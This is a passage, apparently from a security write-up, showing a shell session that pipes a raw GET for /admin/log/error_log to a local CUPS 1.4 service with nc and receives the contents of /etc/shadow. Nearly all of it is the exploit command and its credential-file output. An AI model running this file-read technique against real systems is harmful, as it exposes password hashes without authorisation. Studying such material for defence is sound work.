On the other hand by using printf maybe you can avoid writing the GET to a temporary file:

```
juan@ubuntu:/tmp$ printf "GET /admin/log/error_log\r\n\r\n" | nc localhost 631
HTTP/0.9 200 OK
Date: Mon, 26 Aug 2013 19:57:00 GMT
Server: CUPS/1.4
Content-Language: en_US
Content-Type: text/plain
Last-Modified: Fri, 15 Jun 2012 08:42:57 GMT
Content-Length: 1002

root:!:15506:0:99999:7:::
daemon:*:15384:0:99999:7:::
bin:*:15384:0:99999:7:::
sys:*:15384:0:99999:7:::
sync:*:15384:0:99999:7:::
games:*:15384:0:99999:7:::
man:*:15384:0:99999:7:::
lp:*:15384:0:99999:7:::
mail:*:15384:0:99999:7:::
news:*:15384:0:99999:7:::
uucp:*:15384:0:99999:7:::
proxy:*:15384:0:99999:7:::
www-data:*:15384:0:99999:7:::
backup:*:15384:0:99999:7:::
list:*:15384:0:99999:7:::
irc:*:15384:0:99999:7:::
gnats:*:15384:0:99999:7:::
nobody:*:15384:0:99999:7:::
libuuid:!:15384:0:99999:7:::
syslog:*:15384:0:99999:7:::
messagebus:*:15384:0:99999:7:::
avahi-autoipd:*:15384:0:99999:7:::
avahi:*:15384:0:99999:7:::
couchdb:*:15384:0:99999:7:::
speech-dispatcher:!:15384:0:99999:7:::
usbmux:*:15384:0:99999:7:::
haldaemon:*:15384:0:99999:7:::
kernoops:*:15384:0:99999:7:::
pulse:*:15384:0:99999:7:::
rtkit:*:15384:0:99999juan@ubuntu:/tmp$ ^C

```